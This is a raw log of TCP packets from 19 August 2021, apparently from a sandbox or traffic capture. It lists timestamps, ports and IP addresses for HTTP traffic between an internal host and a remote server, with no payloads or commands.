Aug 19, 2021 07:53:39.898196936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898200035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898216009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898231983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898241997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898253918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898264885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898276091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898286104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898297071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898308992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898319960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.898348093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898366928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.898452997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.064181089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.064275980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.066293955 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:40.097176075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.097201109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.097301006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.128417969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.128449917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.128474951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.128499031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.128498077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.128525019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.128576040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.159621954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159647942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159668922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159689903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159708977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159723997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.159728050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159748077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.159766912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.160056114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.160070896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.160212040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.190979958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191028118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191057920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191086054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191112995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191147089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191164017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191190958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191217899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191219091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191243887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191248894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191276073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191287994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191296101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191314936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191342115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191364050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191366911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191385031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191401005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191422939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191430092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191451073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191454887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191473961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191505909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191505909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191529036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191549063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191555023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191570997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191576958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191592932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191596031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191617012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191621065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191637993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191637993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191657066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191660881 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191680908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191699982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191719055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191735983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191760063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191776037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191800117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191822052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191828012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.191840887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191859961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191874981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191896915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191921949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191946030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191968918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191984892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.191998005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192018032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192043066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192065954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192097902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192117929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192137003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192157030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192176104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192194939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192209005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192228079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192265034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192286015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192305088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192323923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192342043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192357063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192378998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192400932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192420959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192440033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192457914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192477942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192497015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192516088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192534924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192553043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192573071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192593098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192616940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192636013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192655087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192673922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192687988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192711115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192734003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192756891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192778111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.192780018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192802906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192805052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.192826033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192850113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192872047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192898035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192920923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192948103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192971945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.192995071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193017960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193037033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193061113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193078041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193108082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193126917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193146944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193166018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193185091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193191051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193203926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193223000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193237066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193237066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193257093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193258047 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193284035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193291903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193300962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193325043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193344116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193345070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193361044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193393946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193397999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193418026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193424940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193440914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193464041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193490028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193497896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193515062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193530083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193538904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193573952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193594933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193604946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193614960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193633080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193635941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193658113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193672895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193677902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193695068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193727016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193727016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193746090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193759918 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193766117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193784952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193804979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193809986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193830967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193850040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193854094 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193869114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193883896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193885088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193913937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193933964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.193936110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193957090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.193986893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194000006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194011927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194040060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194046974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194061995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194075108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194082975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194104910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194118023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194124937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194144011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194165945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194169044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194189072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194211006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194214106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194228888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194250107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194262028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194269896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194288969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194289923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194308996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194329023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194329977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194349051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194369078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194371939 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194396019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194416046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194436073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194452047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194475889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194478989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194494963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194500923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194520950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194540024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194555044 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194557905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194582939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194597006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194602966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194618940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194622993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194642067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194662094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194680929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194684029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194700003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194700956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194720030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194729090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194737911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194757938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194782019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194791079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194818020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194842100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194859982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194865942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194889069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194895029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194911957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194921017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194936037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194951057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.194961071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194984913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.194987059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195008039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195018053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195024967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195030928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195034981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195055008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195061922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195077896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195079088 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195100069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195130110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195146084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195148945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195169926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195183992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195188999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195203066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195209026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195225000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195228100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195245028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195250988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195264101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195271015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195286036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195291042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195305109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195308924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195324898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195327997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195347071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195367098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195372105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195420980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195437908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195461988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195465088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195496082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195501089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195523024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195525885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195544004 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195563078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195570946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195595026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195620060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195635080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195642948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195668936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195668936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195693970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195700884 CEST	49738	80	192.168.2.7	193.142.59.119
